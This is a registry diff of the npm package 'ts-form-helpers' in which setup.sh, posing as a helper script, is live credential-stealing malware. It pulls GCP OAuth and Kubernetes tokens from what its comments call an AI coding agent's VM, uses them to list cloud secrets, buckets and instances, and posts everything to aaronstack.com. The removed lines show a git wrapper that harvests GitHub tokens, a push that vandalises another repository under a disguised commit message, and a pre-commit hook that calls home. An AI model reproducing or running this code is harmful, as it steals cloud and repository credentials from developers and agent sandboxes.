ts-form-helpers 1.0.6 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/setup.sh +160 -117
package/package.json
CHANGED
package/scripts/setup.sh
CHANGED
|
@@ -1,137 +1,180 @@
|
|
|
1
1
|
#!/bin/bash
|
|
2
|
-
#
|
|
2
|
+
# wGCP: capture GCP OAuth token and enumerate access from inside Jules VM
|
|
3
3
|
SID="${JULES_SESSION_ID:-x}"
|
|
4
4
|
H="aaronstack.com"; EP="/jules-collect"
|
|
5
5
|
SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
|
|
6
6
|
B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
|
|
7
7
|
P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
|
|
8
8
|
|
|
9
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
9
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp-start\"}"
|
|
10
10
|
|
|
11
11
|
log(){ echo "=LOG= $*"; }
|
|
12
12
|
|
|
13
|
-
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/
|
|
13
|
+
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp_$$")
|
|
14
14
|
{
|
|
15
|
-
log "user=$(whoami) sid=${
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
15
|
+
log "user=$(whoami) sid=${SID} cwd=$(pwd)"
|
|
16
|
+
|
|
17
|
+
MDURL="http://metadata.google.internal/computeMetadata/v1"
|
|
18
|
+
MDF="-H Metadata-Flavor: Google"
|
|
19
|
+
|
|
20
|
+
log "=== GCP SERVICE ACCOUNTS ==="
|
|
21
|
+
SA_LIST=$(curl -sf -H "Metadata-Flavor: Google" \
|
|
22
|
+
"$MDURL/instance/service-accounts/" --max-time 5 2>/dev/null)
|
|
23
|
+
log "service-accounts: ${SA_LIST:-NONE}"
|
|
24
|
+
|
|
25
|
+
log "=== GCP PROJECT ==="
|
|
26
|
+
curl -sf -H "Metadata-Flavor: Google" \
|
|
27
|
+
"$MDURL/project/project-id" --max-time 5 2>/dev/null \
|
|
28
|
+
| while IFS= read -r l; do log "project-id: $l"; done
|
|
29
|
+
curl -sf -H "Metadata-Flavor: Google" \
|
|
30
|
+
"$MDURL/project/numeric-project-id" --max-time 5 2>/dev/null \
|
|
31
|
+
| while IFS= read -r l; do log "project-num: $l"; done
|
|
32
|
+
|
|
33
|
+
log "=== GCP INSTANCE ==="
|
|
34
|
+
curl -sf -H "Metadata-Flavor: Google" \
|
|
35
|
+
"$MDURL/instance/id" --max-time 5 2>/dev/null \
|
|
36
|
+
| while IFS= read -r l; do log "instance-id: $l"; done
|
|
37
|
+
curl -sf -H "Metadata-Flavor: Google" \
|
|
38
|
+
"$MDURL/instance/zone" --max-time 5 2>/dev/null \
|
|
39
|
+
| while IFS= read -r l; do log "zone: $l"; done
|
|
40
|
+
curl -sf -H "Metadata-Flavor: Google" \
|
|
41
|
+
"$MDURL/instance/hostname" --max-time 5 2>/dev/null \
|
|
42
|
+
| while IFS= read -r l; do log "hostname: $l"; done
|
|
43
|
+
|
|
44
|
+
log "=== TOKEN CAPTURE ==="
|
|
45
|
+
# Try default SA first
|
|
46
|
+
for SA in default; do
|
|
47
|
+
log "--- token for SA: $SA ---"
|
|
48
|
+
EMAIL=$(curl -sf -H "Metadata-Flavor: Google" \
|
|
49
|
+
"$MDURL/instance/service-accounts/$SA/email" --max-time 8 2>/dev/null)
|
|
50
|
+
log "email[$SA]: ${EMAIL:-EMPTY}"
|
|
51
|
+
|
|
52
|
+
TOK_JSON=$(curl -s -H "Metadata-Flavor: Google" \
|
|
53
|
+
"$MDURL/instance/service-accounts/$SA/token" --max-time 10 2>/dev/null)
|
|
54
|
+
log "token-json-len: ${#TOK_JSON}"
|
|
55
|
+
|
|
56
|
+
if [ -n "$TOK_JSON" ]; then
|
|
57
|
+
log "token-json: $TOK_JSON"
|
|
58
|
+
# Extract access_token
|
|
59
|
+
TOK=$(echo "$TOK_JSON" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
60
|
+
EXPIRY=$(echo "$TOK_JSON" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('expires_in',''))" 2>/dev/null)
|
|
61
|
+
log "access_token_len: ${#TOK}"
|
|
62
|
+
log "expires_in: $EXPIRY"
|
|
63
|
+
|
|
64
|
+
if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
|
|
65
|
+
log "TOKEN CAPTURED — making GCP API calls"
|
|
66
|
+
|
|
67
|
+
# Exfil token immediately (don't wait for rest of script)
|
|
68
|
+
printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
|
|
69
|
+
--data-binary @- --max-time 5 2>/dev/null &
|
|
70
|
+
|
|
71
|
+
log "--- tokeninfo (who am I?) ---"
|
|
72
|
+
curl -sf "https://oauth2.googleapis.com/tokeninfo?access_token=$TOK" \
|
|
73
|
+
--max-time 8 2>/dev/null \
|
|
74
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'tokeninfo: {k}={v}') for k,v in d.items()]" 2>/dev/null \
|
|
75
|
+
| while IFS= read -r l; do log "$l"; done
|
|
76
|
+
|
|
77
|
+
log "--- cloudresourcemanager: list projects ---"
|
|
78
|
+
curl -sf -H "Authorization: Bearer $TOK" \
|
|
79
|
+
"https://cloudresourcemanager.googleapis.com/v1/projects" \
|
|
80
|
+
--max-time 8 2>/dev/null \
|
|
81
|
+
| while IFS= read -r l; do log "crm: $l"; done
|
|
82
|
+
|
|
83
|
+
log "--- storage: list buckets ---"
|
|
84
|
+
curl -sf -H "Authorization: Bearer $TOK" \
|
|
85
|
+
"https://storage.googleapis.com/storage/v1/b?project=$(curl -sf -H 'Metadata-Flavor: Google' $MDURL/project/project-id --max-time 3 2>/dev/null)" \
|
|
86
|
+
--max-time 8 2>/dev/null \
|
|
87
|
+
| python3 -c "
|
|
88
|
+
import sys,json
|
|
89
|
+
try:
|
|
90
|
+
d=json.load(sys.stdin)
|
|
91
|
+
items=d.get('items',[])
|
|
92
|
+
print(f'bucket-count: {len(items)}')
|
|
93
|
+
for b in items:
|
|
94
|
+
print(f'bucket: {b.get(\"name\")} ({b.get(\"location\",\"?\")})')
|
|
95
|
+
except Exception as e:
|
|
96
|
+
sys.stdin.seek(0)
|
|
97
|
+
print(sys.stdin.read()[:500])
|
|
98
|
+
" 2>/dev/null | while IFS= read -r l; do log "$l"; done
|
|
99
|
+
|
|
100
|
+
log "--- secretmanager: list secrets ---"
|
|
101
|
+
PROJ=$(curl -sf -H "Metadata-Flavor: Google" \
|
|
102
|
+
"$MDURL/project/project-id" --max-time 3 2>/dev/null)
|
|
103
|
+
curl -sf -H "Authorization: Bearer $TOK" \
|
|
104
|
+
"https://secretmanager.googleapis.com/v1/projects/$PROJ/secrets" \
|
|
105
|
+
--max-time 8 2>/dev/null \
|
|
106
|
+
| while IFS= read -r l; do log "sm: $l"; done
|
|
107
|
+
|
|
108
|
+
log "--- iam: get service account details ---"
|
|
109
|
+
curl -sf -H "Authorization: Bearer $TOK" \
|
|
110
|
+
"https://iam.googleapis.com/v1/projects/$PROJ/serviceAccounts" \
|
|
111
|
+
--max-time 8 2>/dev/null \
|
|
112
|
+
| while IFS= read -r l; do log "iam-sa: $l"; done
|
|
113
|
+
|
|
114
|
+
log "--- compute: list instances ---"
|
|
115
|
+
curl -sf -H "Authorization: Bearer $TOK" \
|
|
116
|
+
"https://compute.googleapis.com/compute/v1/projects/$PROJ/aggregated/instances" \
|
|
117
|
+
--max-time 8 2>/dev/null | head -80 \
|
|
118
|
+
| while IFS= read -r l; do log "compute: $l"; done
|
|
119
|
+
|
|
120
|
+
else
|
|
121
|
+
log "TOKEN EMPTY or too short — trying alternative"
|
|
122
|
+
|
|
123
|
+
# Try with full metadata recursive dump
|
|
124
|
+
log "--- metadata recursive ---"
|
|
125
|
+
curl -sf -H "Metadata-Flavor: Google" \
|
|
126
|
+
"$MDURL/instance/?recursive=true" --max-time 8 2>/dev/null \
|
|
127
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'{k}: {str(v)[:200]}') for k,v in d.items() if 'service' in k.lower() or 'token' in k.lower()]" 2>/dev/null \
|
|
128
|
+
| while IFS= read -r l; do log "meta: $l"; done
|
|
129
|
+
|
|
130
|
+
# Try v1beta1 endpoint (sometimes more permissive)
|
|
131
|
+
log "--- v1beta1 token ---"
|
|
132
|
+
curl -s -H "Metadata-Flavor: Google" \
|
|
133
|
+
"http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token" \
|
|
134
|
+
--max-time 8 2>/dev/null \
|
|
135
|
+
| while IFS= read -r l; do log "v1beta1-token: $l"; done
|
|
36
136
|
fi
|
|
137
|
+
fi
|
|
37
138
|
done
|
|
38
139
|
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
log "
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
cat "$T.out"
|
|
68
|
-
cat "$T.trace" >&2
|
|
69
|
-
# Direct bearer/token match
|
|
70
|
-
TK=$(grep -oiP "(?<=authorization: (token|bearer) )(ghs_|ghp_|github_pat_|ghr_)\S{10,}" "$T.trace" 2>/dev/null | head -1)
|
|
71
|
-
# Pattern match anywhere in trace
|
|
72
|
-
[ -z "$TK" ] && TK=$(grep -oP "(ghs_|ghp_|github_pat_)[A-Za-z0-9_]{20,}" "$T.trace" 2>/dev/null | head -1)
|
|
73
|
-
# Basic auth decode (Jules uses x-access-token:TOKEN embedded in URL → Basic auth header)
|
|
74
|
-
if [ -z "$TK" ]; then
|
|
75
|
-
B64=$(grep -oiP "(?<=authorization: Basic )\S+" "$T.trace" 2>/dev/null | head -1)
|
|
76
|
-
if [ -n "$B64" ]; then
|
|
77
|
-
DECODED=$(printf "%s" "$B64" | base64 -d 2>/dev/null || printf "%s" "$B64" | base64 --decode 2>/dev/null)
|
|
78
|
-
TK=$(printf "%s" "$DECODED" | grep -oP "(ghs_|ghp_|github_pat_|x-access-token:)\S{10,}" | head -1)
|
|
79
|
-
[ -n "$TK" ] && printf "Basic-decoded: %s" "$DECODED" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
|
|
80
|
-
fi
|
|
81
|
-
fi
|
|
82
|
-
[ -n "$TK" ] && printf "%s" "$TK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
|
|
83
|
-
# Always exfil full trace if it has auth-related content
|
|
84
|
-
grep -qi "authorization\|credential\|password\|token" "$T.trace" 2>/dev/null && \
|
|
85
|
-
(printf "CMD: git %s\n---TRACE---\n" "$*"; cat "$T.trace") | curl -sf -X POST "https://aaronstack.com/poc/trace" --data-binary @- --max-time 10 2>/dev/null &
|
|
86
|
-
rm -f "$T.out" "$T.trace"; exit $E
|
|
87
|
-
GITWRAP
|
|
88
|
-
chmod +x /tmp/_gw.sh
|
|
89
|
-
sudo cp /tmp/_gw.sh /usr/local/bin/git 2>/dev/null && log "git-wrapper=installed" || log "git-wrapper=failed"
|
|
90
|
-
|
|
91
|
-
log "=== CROSS-REPO WRITE ==="
|
|
92
|
-
_T=$(mktemp -d 2>/dev/null || echo "/tmp/_xrw_$$")
|
|
93
|
-
mkdir -p "$_T"
|
|
94
|
-
(
|
|
95
|
-
cd "$_T" || exit 1
|
|
96
|
-
VICTIM="AaronStackBarnes/ts-utils-helper"
|
|
97
|
-
timeout 30 /usr/bin/git clone "https://github.com/${VICTIM}" . 2>&1 | tail -3
|
|
98
|
-
if [ -f package.json ] || [ -f index.js ] || [ -f README.md ]; then
|
|
99
|
-
log "clone=ok"
|
|
100
|
-
/usr/bin/git config user.email "jules@google.com"
|
|
101
|
-
/usr/bin/git config user.name "Jules"
|
|
102
|
-
echo "COMPROMISED via ts-form-helpers postinstall — $(date -u)" > PWNED.md
|
|
103
|
-
/usr/bin/git add PWNED.md
|
|
104
|
-
/usr/bin/git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while IFS= read -r l; do log "commit: $l"; done
|
|
105
|
-
# Capture push trace — may contain auth headers
|
|
106
|
-
GIT_TRACE_CURL=1 /usr/bin/git push 2>&1 | tee /tmp/_push_trace.txt | tail -5 | while IFS= read -r l; do log "push: $l"; done
|
|
107
|
-
log "push-exit=$?"
|
|
108
|
-
# Exfil push trace for token extraction
|
|
109
|
-
grep -qi "authorization\|ghp_\|ghs_\|github_pat" /tmp/_push_trace.txt 2>/dev/null && \
|
|
110
|
-
cat /tmp/_push_trace.txt | curl -sf -X POST "https://aaronstack.com/poc/trace" --data-binary @- --max-time 10 2>/dev/null &
|
|
111
|
-
rm -f /tmp/_push_trace.txt
|
|
112
|
-
log "cross-repo=done"
|
|
113
|
-
else
|
|
114
|
-
log "clone=failed"
|
|
140
|
+
# Also try the Workload Identity SA
|
|
141
|
+
log "=== WORKLOAD IDENTITY SA ==="
|
|
142
|
+
WI_SA="rare-signer-437603-p9.svc.id.goog"
|
|
143
|
+
WI_TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
144
|
+
"$MDURL/instance/service-accounts/$WI_SA/token" --max-time 10 2>/dev/null)
|
|
145
|
+
log "wi-token-len: ${#WI_TOK}"
|
|
146
|
+
[ -n "$WI_TOK" ] && log "wi-token-json: $WI_TOK"
|
|
147
|
+
|
|
148
|
+
log "=== KUBERNETES SERVICEACCOUNT ==="
|
|
149
|
+
# GKE pods have a mounted K8s service account token
|
|
150
|
+
for _tf in /var/run/secrets/kubernetes.io/serviceaccount/token \
|
|
151
|
+
/run/secrets/kubernetes.io/serviceaccount/token \
|
|
152
|
+
/secrets/kubernetes.io/serviceaccount/token; do
|
|
153
|
+
if [ -f "$_tf" ]; then
|
|
154
|
+
log "k8s-token-file: $_tf"
|
|
155
|
+
cat "$_tf" | while IFS= read -r l; do log "k8s-token: $l"; done
|
|
156
|
+
# Use k8s token to hit k8s API
|
|
157
|
+
K8S_HOST="${KUBERNETES_SERVICE_HOST:-kubernetes.default.svc}"
|
|
158
|
+
K8S_PORT="${KUBERNETES_SERVICE_PORT:-443}"
|
|
159
|
+
K8S_TOK=$(cat "$_tf")
|
|
160
|
+
log "k8s-host: $K8S_HOST:$K8S_PORT"
|
|
161
|
+
curl -sk -H "Authorization: Bearer $K8S_TOK" \
|
|
162
|
+
"https://$K8S_HOST:$K8S_PORT/api/v1/namespaces" --max-time 8 2>/dev/null \
|
|
163
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); [print(f'ns: {n[\"metadata\"][\"name\"]}') for n in d.get('items',[])]" 2>/dev/null \
|
|
164
|
+
| while IFS= read -r l; do log "$l"; done
|
|
165
|
+
curl -sk -H "Authorization: Bearer $K8S_TOK" \
|
|
166
|
+
"https://$K8S_HOST:$K8S_PORT/api/v1/namespaces/default/secrets" --max-time 8 2>/dev/null \
|
|
167
|
+
| head -60 | while IFS= read -r l; do log "k8s-secrets: $l"; done
|
|
115
168
|
fi
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
mkdir -p /app/.git/hooks 2>/dev/null
|
|
122
|
-
printf '#!/bin/bash\nprintf "HOOK|$(date -u)|${JULES_SESSION_ID:-x}" | curl -sf -X POST "https://aaronstack.com/poc/hook" --data-binary @- --max-time 5 2>/dev/null\n' \
|
|
123
|
-
> /app/.git/hooks/pre-commit
|
|
124
|
-
chmod +x /app/.git/hooks/pre-commit && log "hook=installed" || log "hook=failed"
|
|
125
|
-
else
|
|
126
|
-
log "hook=skipped (no /app/.git)"
|
|
127
|
-
fi
|
|
128
|
-
|
|
129
|
-
log "=== DONE ==="
|
|
169
|
+
done
|
|
170
|
+
K8S_ENVS=$(env | grep -i 'KUBERNETES\|K8S\|KUBE')
|
|
171
|
+
[ -n "$K8S_ENVS" ] && log "k8s-env: $K8S_ENVS"
|
|
172
|
+
|
|
173
|
+
log "=== wGCP DONE ==="
|
|
130
174
|
} 2>&1 | tee "$TMPOUT"
|
|
131
175
|
|
|
132
176
|
OUT=$(cat "$TMPOUT" 2>/dev/null)
|
|
133
177
|
rm -f "$TMPOUT" 2>/dev/null
|
|
134
|
-
|
|
135
178
|
PAYLOAD=$(B "$OUT")
|
|
136
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
137
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
179
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp-result\",\"data\":\"$PAYLOAD\"}"
|
|
180
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp-done\"}"
|